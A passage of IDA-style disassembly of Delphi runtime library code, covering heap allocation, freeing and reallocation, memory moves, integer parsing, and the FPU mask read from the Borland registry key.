[esp+1Ch+var_1C] movsd movsd mov edi, esp call sub_3D500C lea ecx, [esp+1Ch+var_14] mov edx, edi mov eax, offset dword_405610 call sub_3D458C mov ebx, [esp+1Ch+var_14] test ebx, ebx jnz short loc_3D5088 xor eax, eax jmp short loc_3D50DA ; --------------------------------------------------------------------------- loc_3D5088: ; CODE XREF: sub_3D5058+2Aj mov eax, [edi] cmp ebx, eax jnb short loc_3D5098 call sub_3D4E2C sub [edi], eax add [edi+4], eax loc_3D5098: ; CODE XREF: sub_3D5058+34j mov eax, [edi] add eax, [edi+4] mov esi, ebx add esi, [esp+1Ch+var_10] cmp eax, esi jnb short loc_3D50AF call sub_3D4E9C add [edi+4], eax loc_3D50AF: ; CODE XREF: sub_3D5058+4Dj mov eax, [edi] add eax, [edi+4] cmp esi, eax jnz short loc_3D50C9 sub eax, 4 mov edx, 4 call sub_3D4DB0 sub dword ptr [edi+4], 4 loc_3D50C9: ; CODE XREF: sub_3D5058+5Ej mov eax, [edi] mov dword_405608, eax mov eax, [edi+4] mov dword_405604, eax mov al, 1 loc_3D50DA: ; CODE XREF: sub_3D5058+2Ej add esp, 10h pop edi pop esi pop ebx retn sub_3D5058 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D50E4 proc near ; CODE XREF: sub_3D5170+57p var_C = dword ptr -0Ch push ebx add esp, 0FFFFFFF8h mov ebx, eax mov edx, esp lea eax, [ebx+4] call sub_3D4938 cmp [esp+0Ch+var_C], 0 jz short loc_3D5105 mov eax, esp call sub_3D5058 test al, al jnz short loc_3D5109 loc_3D5105: ; CODE XREF: sub_3D50E4+14j xor eax, eax jmp short loc_3D510B ; --------------------------------------------------------------------------- loc_3D5109: ; CODE XREF: sub_3D50E4+1Fj mov al, 1 loc_3D510B: ; CODE XREF: sub_3D50E4+23j pop ecx pop edx pop ebx retn sub_3D50E4 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_3D5110 proc near ; CODE XREF: sub_3D5598+1A4p var_10 = dword ptr -10h push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp lea edx, [esi+4] mov eax, ebx call sub_3D49C8 cmp [esp+10h+var_10], 0 jz short loc_3D5136 mov eax, esp call sub_3D5058 test al, al jnz short loc_3D513A loc_3D5136: ; CODE XREF: sub_3D5110+19j xor eax, eax jmp short loc_3D513C ; --------------------------------------------------------------------------- loc_3D513A: ; CODE XREF: sub_3D5110+24j mov al, 1 loc_3D513C: ; CODE XREF: sub_3D5110+28j pop ecx pop edx pop esi pop ebx retn sub_3D5110 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D5144 proc near ; CODE XREF: sub_3D5170+4Ap xor edx, edx test eax, eax jns short loc_3D514D add eax, 3 loc_3D514D: ; CODE XREF: sub_3D5144+4j sar eax, 2 cmp eax, 400h jg short loc_3D516D loc_3D5157: ; CODE XREF: sub_3D5144+27j mov edx, dword_40560C mov edx, [edx+eax*4-0Ch] test edx, edx jnz short loc_3D516D inc eax cmp eax, 401h jnz short loc_3D5157 loc_3D516D: ; CODE XREF: sub_3D5144+11j ; sub_3D5144+1Fj mov eax, edx retn sub_3D5144 endp ; =============== S U B R O U T I N E ======================================= sub_3D5170 proc near ; CODE XREF: sub_3D5264+153p push ebx push esi push edi push ebp mov esi, eax mov edi, offset dword_405600 mov ebp, offset dword_405604 loc_3D5180: ; CODE XREF: sub_3D5170+6Aj mov ebx, dword_4055F8 cmp esi, [ebx+8] jle loc_3D5213 mov ebx, [edi] mov eax, [ebx+8] cmp esi, eax jle short loc_3D5213 mov [ebx+8], esi loc_3D519B: ; CODE XREF: sub_3D5170+31j mov ebx, [ebx+4] cmp esi, [ebx+8] jg short loc_3D519B mov edx, [edi] mov [edx+8], eax cmp ebx, [edi] jz short loc_3D51B0 mov [edi], ebx jmp short loc_3D5213 ; --------------------------------------------------------------------------- loc_3D51B0: ; CODE XREF: sub_3D5170+3Aj cmp esi, 1000h jg short loc_3D51C5 mov eax, esi call sub_3D5144 mov ebx, eax test ebx, ebx jnz short loc_3D5213 loc_3D51C5: ; CODE XREF: sub_3D5170+46j mov eax, esi call sub_3D50E4 test al, al jnz short loc_3D51D7 xor eax, eax jmp loc_3D525F ; --------------------------------------------------------------------------- loc_3D51D7: ; CODE XREF: sub_3D5170+5Ej cmp esi, [ebp+0] jg short loc_3D5180 sub [ebp+0], esi cmp dword ptr [ebp+0], 0Ch jge short loc_3D51ED add esi, [ebp+0] xor eax, eax mov [ebp+0], eax loc_3D51ED: ; CODE XREF: sub_3D5170+73j mov eax, dword_405608 add dword_405608, esi mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc dword_40559C sub esi, 4 add dword_4055A0, esi jmp short loc_3D525F ; --------------------------------------------------------------------------- loc_3D5213: ; CODE XREF: sub_3D5170+19j ; sub_3D5170+26j ... mov eax, ebx call sub_3D4D1C mov edx, [ebx+8] mov eax, edx sub eax, esi cmp eax, 0Ch jl short loc_3D5232 mov edx, ebx add edx, esi xchg eax, edx call sub_3D4F84 jmp short loc_3D5244 ; --------------------------------------------------------------------------- loc_3D5232: ; CODE XREF: sub_3D5170+B4j mov esi, edx cmp ebx, [edi] jnz short loc_3D523D mov eax, [ebx+4] mov [edi], eax loc_3D523D: ; CODE XREF: sub_3D5170+C6j mov eax, ebx add eax, esi and dword ptr [eax], 0FFFFFFFEh loc_3D5244: ; CODE XREF: sub_3D5170+C0j mov eax, ebx mov edx, esi or edx, 2 mov [eax], edx add eax, 4 inc dword_40559C sub esi, 4 add dword_4055A0, esi loc_3D525F: ; CODE XREF: sub_3D5170+62j ; sub_3D5170+A1j pop ebp pop edi pop esi pop ebx retn sub_3D5170 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D5264 proc near ; CODE XREF: .data:003D57D0p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov ebx, eax cmp byte_4055AC, 0 jnz short loc_3D5281 call sub_3D4B78 test al, al jz short loc_3D5289 loc_3D5281: ; CODE XREF: sub_3D5264+12j cmp ebx, 7FFFFFF8h jle short loc_3D5293 loc_3D5289: ; CODE XREF: sub_3D5264+1Bj xor eax, eax mov [ebp+var_4], eax jmp loc_3D53E7 ; --------------------------------------------------------------------------- loc_3D5293: ; CODE XREF: sub_3D5264+23j xor ecx, ecx push ebp push offset dword_401FE0 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp byte_405035, 0 jz short loc_3D52B4 push offset dword_4055B4 call sub_3D44D4 ; RtlEnterCriticalSection loc_3D52B4: ; CODE XREF: sub_3D5264+44j add ebx, 7 and ebx, 0FFFFFFFCh cmp ebx, 0Ch jge short loc_3D52C4 mov ebx, 0Ch loc_3D52C4: ; CODE XREF: sub_3D5264+59j cmp ebx, 1000h jg loc_3D5363 mov eax, ebx test eax, eax jns short loc_3D52D9 add eax, 3 loc_3D52D9: ; CODE XREF: sub_3D5264+70j sar eax, 2 mov edx, dword_40560C mov edx, [edx+eax*4-0Ch] test edx, edx jz short loc_3D5363 mov esi, edx mov eax, esi add eax, ebx and dword ptr [eax], 0FFFFFFFEh mov eax, [edx+4] cmp edx, eax jnz short loc_3D5314 mov eax, ebx test eax, eax jns short loc_3D5303 add eax, 3 loc_3D5303: ; CODE XREF: sub_3D5264+9Aj sar eax, 2 mov ecx, dword_40560C xor edi, edi mov [ecx+eax*4-0Ch], edi jmp short loc_3D533A ; --------------------------------------------------------------------------- loc_3D5314: ; CODE XREF: sub_3D5264+94j mov ecx, ebx test ecx, ecx jns short loc_3D531D add ecx, 3 loc_3D531D: ; CODE XREF: sub_3D5264+B4j sar ecx, 2 mov edi, dword_40560C mov [edi+ecx*4-0Ch], eax mov ecx, [edx] mov [ebp+var_8], ecx mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+var_8] mov [eax], ecx loc_3D533A: ; CODE XREF: sub_3D5264+AEj mov eax, esi mov edx, [edx+8] or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc dword_40559C sub ebx, 4 add dword_4055A0, ebx call sub_3D5E44 jmp loc_3D53E7 ; --------------------------------------------------------------------------- loc_3D5363: ; CODE XREF: sub_3D5264+66j ; sub_3D5264+84j cmp ebx, dword_405604 jg short loc_3D53B5 sub dword_405604, ebx cmp dword_405604, 0Ch jge short loc_3D5387 add ebx, dword_405604 xor eax, eax mov dword_405604, eax loc_3D5387: ; CODE XREF: sub_3D5264+114j mov eax, dword_405608 add dword_405608, ebx mov edx, ebx or edx, 2 mov [eax], edx add eax, 4 mov [ebp+var_4], eax inc dword_40559C sub ebx, 4 add dword_4055A0, ebx call sub_3D5E44 jmp short loc_3D53E7 ; --------------------------------------------------------------------------- loc_3D53B5: ; CODE XREF: sub_3D5264+105j mov eax, ebx call sub_3D5170 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_401FE7 cmp byte_405035, 0 jz short locret_3D53DF push offset dword_4055B4 call sub_3D44DC ; RtlLeaveCriticalSection locret_3D53DF: ; CODE XREF: sub_3D5264+16Fj retn ; --------------------------------------------------------------------------- dd 9A3E9h db 0, 0EBh, 0E5h ; --------------------------------------------------------------------------- loc_3D53E7: ; CODE XREF: sub_3D5264+2Aj ; sub_3D5264+FAj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_3D5264 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3D53F4 proc near ; CODE XREF: sub_3D4DE0+1Cp ; .data:003D57FCp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, eax xor eax, eax mov dword_4055B0, eax cmp byte_4055AC, 0 jnz short loc_3D542C call sub_3D4B78 test al, al jnz short loc_3D542C mov dword_4055B0, 8 mov [ebp+var_4], 8 jmp loc_3D558D ; --------------------------------------------------------------------------- loc_3D542C: ; CODE XREF: sub_3D53F4+17j ; sub_3D53F4+20j xor ecx, ecx push ebp push offset word_402186 push dword ptr fs:[ecx] mov fs:[ecx], esp cmp byte_405035, 0 jz short loc_3D544D push offset dword_4055B4 call sub_3D44D4 ; RtlEnterCriticalSection loc_3D544D: ; CODE XREF: sub_3D53F4+4Dj mov esi, ebx sub esi, 4 mov ebx, [esi] test bl, 2 jnz short loc_3D5468 mov dword_4055B0, 9 jmp loc_3D555D ; --------------------------------------------------------------------------- loc_3D5468: ; CODE XREF: sub_3D53F4+63j dec dword_40559C mov eax, ebx and eax, 7FFFFFFCh sub eax, 4 sub dword_4055A0, eax test bl, 1 jz short loc_3D54C8 mov eax, esi sub eax, 0Ch mov edx, [eax+8] cmp edx, 0Ch jl short loc_3D5498 test edx, 80000003h jz short loc_3D54A7 loc_3D5498: ; CODE XREF: sub_3D53F4+9Aj mov dword_4055B0, 0Ah jmp loc_3D555D ; --------------------------------------------------------------------------- loc_3D54A7: ; CODE XREF: sub_3D53F4+A2j mov eax, esi sub eax, edx cmp edx, [eax+8] jz short loc_3D54BF mov dword_4055B0, 0Ah jmp loc_3D555D ; --------------------------------------------------------------------------- loc_3D54BF: ; CODE XREF: sub_3D53F4+BAj add ebx, edx mov esi, eax call sub_3D4D1C loc_3D54C8: ; CODE XREF: sub_3D53F4+8Dj and ebx, 7FFFFFFCh mov eax, esi add eax, ebx mov edi, eax cmp edi, dword_405608 jnz short loc_3D5508 sub dword_405608, ebx add dword_405604, ebx cmp dword_405604, 3C00h jle short loc_3D54F9 call sub_3D500C loc_3D54F9: ; CODE XREF: sub_3D53F4+FEj xor eax, eax mov [ebp+var_4], eax call sub_3D5E44 jmp loc_3D558D ; --------------------------------------------------------------------------- loc_3D5508: ; CODE XREF: sub_3D53F4+E6j mov edx, [eax] test dl, 2 jz short loc_3D552B and edx, 7FFFFFFCh cmp edx, 4 jge short loc_3D5526 mov dword_4055B0, 0Bh jmp short loc_3D555D ; --------------------------------------------------------------------------- loc_3D5526: ; CODE XREF: sub_3D53F4+124j or dword ptr [eax], 1 jmp short loc_3D5554 ; --------------------------------------------------------------------------- loc_3D552B: ; CODE XREF: sub_3D53F4+119j mov eax, edi cmp dword ptr [eax+4], 0 jz short loc_3D553E cmp dword ptr [eax], 0 jz short loc_3D553E cmp dword ptr [eax+8], 0Ch jge short loc_3D554A loc_3D553E: ; CODE XREF: sub_3D53F4+13Dj ; sub_3D53F4+142j mov dword_4055B0, 0Bh jmp short loc_3D555D ; --------------------------------------------------------------------------- loc_3D554A: ; CODE XREF: sub_3D53F4+148j mov edx, [eax+8] add ebx, edx call sub_3D4D1C loc_3D5554: ; CODE XREF: sub_3D53F4+135j mov edx, ebx mov eax, esi call sub_3D4F84 loc_3D555D: ; CODE XREF: sub_3D53F4+6Fj ; sub_3D53F4+AEj ... mov eax, dword_4055B0 mov [ebp+var_4], eax xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40218D cmp byte_405035, 0 jz short locret_3D5585 push offset dword_4055B4 call sub_3D44DC ; RtlLeaveCriticalSection locret_3D5585: ; CODE XREF: sub_3D53F4+185j retn ; --------------------------------------------------------------------------- dw 0FDE9h dd 0EB000007h db 0E5h ; --------------------------------------------------------------------------- loc_3D558D: ; CODE XREF: sub_3D53F4+33j ; sub_3D53F4+10Fj mov eax, [ebp+var_4] pop edi pop esi pop ebx pop ecx pop ebp retn sub_3D53F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D5598 proc near ; CODE XREF: .data:003D57C0p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx add esi, 7 and esi, 0FFFFFFFCh cmp esi, 0Ch jge short loc_3D55B1 mov esi, 0Ch loc_3D55B1: ; CODE XREF: sub_3D5598+12j mov ebp, eax sub ebp, 4 mov edi, [ebp+0] and edi, 7FFFFFFCh mov eax, ebp add eax, edi mov ebx, eax cmp edi, esi jnz short loc_3D55D0 mov al, 1 jmp loc_3D576B ; --------------------------------------------------------------------------- loc_3D55D0: ; CODE XREF: sub_3D5598+2Fj cmp edi, esi jle loc_3D565B mov edx, edi sub edx, esi mov [esp+18h+var_18], edx cmp ebx, dword_405608 jnz short loc_3D561F mov eax, [esp+18h+var_18] sub dword_405608, eax mov eax, [esp+18h+var_18] add dword_405604, eax cmp dword_405604, 0Ch jge loc_3D5752 mov eax, [esp+18h+var_18] add dword_405608, eax mov eax, [esp+18h+var_18] sub dword_405604, eax mov esi, edi jmp loc_3D5752 ; --------------------------------------------------------------------------- loc_3D561F: ; CODE XREF: sub_3D5598+4Dj mov ebx, eax test byte ptr [ebx], 2 jnz short loc_3D5633 mov eax, ebx mov edx, [eax+8] add [esp+18h+var_18], edx call sub_3D4D1C loc_3D5633: ; CODE XREF: sub_3D5598+8Cj cmp [esp+18h+var_18], 0Ch jl short loc_3D5654 mov ebx, ebp add ebx, esi mov eax, [esp+18h+var_18] or eax, 2 mov [ebx], eax mov eax, ebx add eax, 4 call sub_3D4DE0 jmp loc_3D5752 ; --------------------------------------------------------------------------- loc_3D5654: ; CODE XREF: sub_3D5598+9Fj mov esi, edi jmp loc_3D5752 ; --------------------------------------------------------------------------- loc_3D565B: ; CODE XREF: sub_3D5598+3Aj ; sub_3D5598+1B1j mov eax, esi sub eax, edi mov [esp+18h+var_14], eax cmp ebx, dword_405608 jnz short loc_3D56D2 mov eax, dword_405604 cmp eax, [esp+18h+var_14] jl short loc_3D56C9 mov eax, [esp+18h+var_14] sub dword_405604, eax mov eax, [esp+18h+var_14] add dword_405608, eax cmp dword_405604, 0Ch jge short loc_3D56AB mov eax, dword_405604 add dword_405608, eax add esi, dword_405604 xor eax, eax mov dword_405604, eax loc_3D56AB: ; CODE XREF: sub_3D5598+F9j mov eax, esi sub eax, edi add dword_4055A0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 jmp loc_3D576B ; --------------------------------------------------------------------------- loc_3D56C9: ; CODE XREF: sub_3D5598+DCj call sub_3D500C mov ebx, ebp add ebx, edi loc_3D56D2: ; CODE XREF: sub_3D5598+D1j test byte ptr [ebx], 2 jnz short loc_3D5724 mov edx, ebx mov eax, edx mov ecx, [eax+8] mov [esp+18h+var_18], ecx mov ecx, [esp+18h+var_18] cmp ecx, [esp+18h+var_14] jge short loc_3D56F8 add edx, [esp+18h+var_18] mov ebx, edx mov eax, [esp+18h+var_18] sub [esp+18h+var_14], eax jmp short loc_3D5724 ; --------------------------------------------------------------------------- loc_3D56F8: ; CODE XREF: sub_3D5598+150j call sub_3D4D1C mov eax, [esp+18h+var_14] sub [esp+18h+var_18], eax cmp [esp+18h+var_18], 0Ch jl short loc_3D5718 mov eax, ebp add eax, esi mov edx, [esp+18h+var_18] call sub_3D4F84 jmp short loc_3D5752 ; --------------------------------------------------------------------------- loc_3D5718: ; CODE XREF: sub_3D5598+170j add esi, [esp+18h+var_18] mov ebx, ebp add ebx, esi and dword ptr [ebx], 0FFFFFFFEh jmp short loc_3D5752 ; --------------------------------------------------------------------------- loc_3D5724: ; CODE XREF: sub_3D5598+13Dj ; sub_3D5598+15Ej mov eax, [ebx] test eax, 80000000h jz short loc_3D574E and eax, 7FFFFFFCh add eax, ebx mov ebx, eax mov edx, [esp+18h+var_14] mov eax, ebx call sub_3D5110 test al, al jz short loc_3D574E mov ebx, ebp add ebx, edi jmp loc_3D565B ; --------------------------------------------------------------------------- loc_3D574E: ; CODE XREF: sub_3D5598+193j ; sub_3D5598+1ABj xor eax, eax jmp short loc_3D576B ; --------------------------------------------------------------------------- loc_3D5752: ; CODE XREF: sub_3D5598+68j ; sub_3D5598+82j ... mov eax, esi sub eax, edi add dword_4055A0, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 loc_3D576B: ; CODE XREF: sub_3D5598+33j ; sub_3D5598+12Cj ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_3D5598 endp ; --------------------------------------------------------------------------- dw 0C08Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp byte_4055AC, 0 jnz short loc_3D579B call sub_3D4B78 test al, al jnz short loc_3D579B xor eax, eax mov [ebp-4], eax jmp loc_3D582C ; --------------------------------------------------------------------------- loc_3D579B: ; CODE XREF: .data:003D5786j ; .data:003D578Fj xor edx, edx push ebp push offset byte_402425 push dword ptr fs:[edx] mov fs:[edx], esp cmp byte_405035, 0 jz short loc_3D57BC push offset dword_4055B4 call sub_3D44D4 ; RtlEnterCriticalSection loc_3D57BC: ; CODE XREF: .data:003D57B0j mov edx, esi mov eax, ebx call sub_3D5598 test al, al jz short loc_3D57CE mov [ebp-4], ebx jmp short loc_3D5804 ; --------------------------------------------------------------------------- loc_3D57CE: ; CODE XREF: .data:003D57C7j mov eax, esi call sub_3D5264 mov edi, eax mov eax, ebx sub eax, 4 mov eax, [eax] and eax, 7FFFFFFCh sub eax, 4 cmp esi, eax jge short loc_3D57EC mov eax, esi loc_3D57EC: ; CODE XREF: .data:003D57E8j test edi, edi jz short loc_3D5801 mov edx, edi mov ecx, ebx xchg eax, ecx call sub_3D58EC mov eax, ebx call sub_3D53F4 loc_3D5801: ; CODE XREF: .data:003D57EEj mov [ebp-4], edi loc_3D5804: ; CODE XREF: .data:003D57CCj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40242C cmp byte_405035, 0 jz short locret_3D5824 push offset dword_4055B4 call sub_3D44DC ; RtlLeaveCriticalSection locret_3D5824: ; CODE XREF: .data:003D5818j retn ; --------------------------------------------------------------------------- db 0E9h, 5Eh, 5 dd 0E5EB0000h ; --------------------------------------------------------------------------- loc_3D582C: ; CODE XREF: .data:003D5796j mov eax, [ebp-4] pop edi pop esi pop ebx pop ecx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 ; =============== S U B R O U T I N E ======================================= sub_3D5838 proc near ; CODE XREF: sub_3D6310+Cp push ebx test eax, eax jle short loc_3D5852 call off_404024 mov ebx, eax test ebx, ebx jnz short loc_3D5854 mov al, 1 call sub_3D58D0 ; --------------------------------------------------------------------------- db 0EBh, 2 ; --------------------------------------------------------------------------- loc_3D5852: ; CODE XREF: sub_3D5838+3j xor ebx, ebx loc_3D5854: ; CODE XREF: sub_3D5838+Fj mov eax, ebx pop ebx retn sub_3D5838 endp ; =============== S U B R O U T I N E ======================================= sub_3D5858 proc near ; CODE XREF: sub_3D62EC+1Cp push ebx test eax, eax jz short loc_3D5872 call off_404028 mov ebx, eax test ebx, ebx jz short loc_3D5874 mov al, 2 call sub_3D58D0 ; --------------------------------------------------------------------------- db 0EBh, 2 ; --------------------------------------------------------------------------- loc_3D5872: ; CODE XREF: sub_3D5858+3j xor ebx, ebx loc_3D5874: ; CODE XREF: sub_3D5858+Fj mov eax, ebx pop ebx retn sub_3D5858 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3D5878 proc near ; CODE XREF: sub_3D5884+42p ; .data:003D5EF3p mov dword_404004, edx call sub_3D62D4 sub_3D5878 endp ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3D5884 proc near ; CODE XREF: sub_3D58D0+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp dword_405008, 0 jz short loc_3D58A0 mov edx, esi mov eax, ebx call dword_405008 loc_3D58A0: ; CODE XREF: sub_3D5884+10j test bl, bl jnz short loc_3D58B1 call sub_3D667C mov ebx, [eax+4] jmp short loc_3D58C0 ; --------------------------------------------------------------------------- loc_3D58B1: ; CODE XREF: sub_3D5884+1Ej cmp bl, 18h ja short loc_3D58C0 xor eax, eax mov al, bl mov bl, byte_404030[eax] loc_3D58C0: ; CODE XREF: sub_3D5884+2Bj ; sub_3D5884+30j xor eax, eax mov al, bl mov edx, esi call sub_3D5878 sub_3D5884 endp ; --------------------------------------------------------------------------- db 5Eh dd 0C08BC35Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3D58D0 proc near ; CODE XREF: sub_3D5838+13p ; sub_3D5858+13p and eax, 7Fh mov edx, [esp+0] jmp sub_3D5884 sub_3D58D0 endp ; --------------------------------------------------------------------------- db 0C3h ; =============== S U B R O U T I N E ======================================= sub_3D58DC proc near ; CODE XREF: sub_3D592C+38p ; sub_3D592C+4Cp push ebx mov ebx, eax call sub_3D667C mov [eax+4], ebx pop ebx retn sub_3D58DC endp ; =============== S U B R O U T I N E ======================================= sub_3D58EC proc near ; CODE XREF: .data:003D57F5p ; sub_3D633C+1Cp push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_3D590B jz short loc_3D5929 sar ecx, 2 js short loc_3D5929 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn ; --------------------------------------------------------------------------- loc_3D590B: ; CODE XREF: sub_3D58EC+Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] sar ecx, 2 js short loc_3D5929 std rep movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 rep movsb cld loc_3D5929: ; CODE XREF: sub_3D58EC+Cj ; sub_3D58EC+11j ... pop edi pop esi retn sub_3D58EC endp ; =============== S U B R O U T I N E ======================================= sub_3D592C proc near ; CODE XREF: .data:003D64FAp ; .data:003D6504p ... push ebx push esi mov ebx, eax xor esi, esi mov ax, [ebx+4] cmp ax, 0D7B1h jb short loc_3D596B cmp ax, 0D7B3h ja short loc_3D596B and ax, 0D7B2h cmp ax, 0D7B2h jnz short loc_3D5953 mov eax, ebx call dword ptr [ebx+1Ch] mov esi, eax loc_3D5953: ; CODE XREF: sub_3D592C+1Ej test esi, esi jnz short loc_3D595E mov eax, ebx call dword ptr [ebx+24h] mov esi, eax loc_3D595E: ; CODE XREF: sub_3D592C+29j test esi, esi jz short loc_3D597D mov eax, esi call sub_3D58DC jmp short loc_3D597D ; --------------------------------------------------------------------------- loc_3D596B: ; CODE XREF: sub_3D592C+Ej ; sub_3D592C+14j cmp ebx, offset dword_405038 jz short loc_3D597D mov eax, 67h call sub_3D58DC loc_3D597D: ; CODE XREF: sub_3D592C+34j ; sub_3D592C+3Dj ... mov eax, esi pop esi pop ebx retn sub_3D592C endp ; --------------------------------------------------------------------------- dw 0C08Bh ; =============== S U B R O U T I N E ======================================= sub_3D5984 proc near ; CODE XREF: .data:003D64A9p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_3D59FA xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_3D5997: ; CODE XREF: sub_3D5984+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_3D5997 mov ch, 0 cmp bl, 2Dh jz short loc_3D5A08 cmp bl, 2Bh jz short loc_3D5A0A loc_3D59AB: ; CODE XREF: sub_3D5984+89j cmp bl, 24h jz short loc_3D5A0F cmp bl, 78h jz short loc_3D5A0F cmp bl, 58h jz short loc_3D5A0F cmp bl, 30h jnz short loc_3D59D2 mov bl, [esi] inc esi cmp bl, 78h jz short loc_3D5A0F cmp bl, 58h jz short loc_3D5A0F test bl, bl jz short loc_3D59F0 jmp short loc_3D59D6 ; --------------------------------------------------------------------------- loc_3D59D2: ; CODE XREF: sub_3D5984+39j test bl, bl jz short loc_3D5A03 loc_3D59D6: ; CODE XREF: sub_3D5984+4Cj ; sub_3D5984+6Aj sub bl, 30h cmp bl, 9 ja short loc_3D5A03 cmp eax, edi ja short loc_3D5A03 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_3D59D6 loc_3D59F0: ; CODE XREF: sub_3D5984+4Aj dec ch jz short loc_3D59FD test eax, eax jge short loc_3D5A4C jmp short loc_3D5A03 ; --------------------------------------------------------------------------- loc_3D59FA: ; CODE XREF: sub_3D5984+8j ; sub_3D5984+95j inc esi jmp short loc_3D5A03 ; --------------------------------------------------------------------------- loc_3D59FD: ; CODE XREF: sub_3D5984+6Ej neg eax jle short loc_3D5A4C js short loc_3D5A4C loc_3D5A03: ; CODE XREF: sub_3D5984+50j ; sub_3D5984+58j ... pop ebx sub esi, ebx jmp short loc_3D5A4F ; --------------------------------------------------------------------------- loc_3D5A08: ; CODE XREF: sub_3D5984+20j inc ch loc_3D5A0A: ; CODE XREF: sub_3D5984+25j mov bl, [esi] inc esi jmp short loc_3D59AB ; --------------------------------------------------------------------------- loc_3D5A0F: ; CODE XREF: sub_3D5984+2Aj ; sub_3D5984+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_3D59FA loc_3D5A1B: ; CODE XREF: sub_3D5984+C0j cmp bl, 61h jb short loc_3D5A23 sub bl, 20h loc_3D5A23: ; CODE XREF: sub_3D5984+9Aj sub bl, 30h cmp bl, 9 jbe short loc_3D5A36 sub bl, 11h cmp bl, 5 ja short loc_3D5A03 add bl, 0Ah loc_3D5A36: ; CODE XREF: sub_3D5984+A5j cmp eax, edi ja short loc_3D5A03 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_3D5A1B dec ch jnz short loc_3D5A4C neg eax loc_3D5A4C: ; CODE XREF: sub_3D5984+72j ; sub_3D5984+7Bj ... pop ecx xor esi, esi loc_3D5A4F: ; CODE XREF: sub_3D5984+82j mov [edx], esi pop edi pop esi pop ebx retn sub_3D5984 endp ; --------------------------------------------------------------------------- db 8Dh, 40h, 0 dd 60D025FFh, 0C08B0040h, 6ADB3353h, 0FFEEE800h, 0F883FFFFh dd 6A1C7507h, 0FFE2E801h, 25FFFFh, 3D0000FFh, 0D00h, 3D0774h dd 75000004h, 8B01B302h, 90C35BC3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, word_40400C mov [ebp-8], eax lea eax, [ebp-4] push eax push 1 push 0 push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h call sub_3D4468 test eax, eax jnz short loc_3D5B08 xor eax, eax push ebp push offset byte_402701 push dword ptr fs:[eax] mov fs:[eax], esp mov dword ptr [ebp-0Ch], 4 lea eax, [ebp-0Ch] push eax lea eax, [ebp-8] push eax push 0 push 0 push offset aFpumaskvalue ; "FPUMaskValue" mov eax, [ebp-4] push eax call sub_3D4470 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_402708 mov eax, [ebp-4] push eax call sub_3D4460 retn ; --------------------------------------------------------------------------- db 0E9h, 82h, 2 dd 0EFEB0000h ; --------------------------------------------------------------------------- loc_3D5B08: ; CODE XREF: .data:003D5AB9j mov ax, word_40400C and ax, 0FFC0h mov dx, [ebp-8] and dx, 3Fh or ax, dx mov word_40400C, ax mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 4 aSoftwareBorl_0 db 'SOFTWARE\Borland\Delphi\RTL',0 aFpumaskvalue_0 db 'FPUMaskValue',0 align 4 dd 0D99BE3DBh, 40400C2Dh, 0C08BC300h, 774C085h, 88B01B2h dd 0C3FC51FFh, 40103D80h, 76010040h, 6A006A11h, 68006A00h dd 0EEDFADFh, 501015FFh, 90C30040h, 40103D80h, 74000040h dd 52505017h, 6A026A54h, 0FAE46800h, 15FF0EEDh, 405010h dd 5808C483h, 408DC3h, 6A016A54h, 0FAE06800h, 15FF0EEDh dd 405010h, 5804C483h, 408DC3h, 40103D80h, 76010040h, 0E9535007h dd 0FFFFFFD8h, 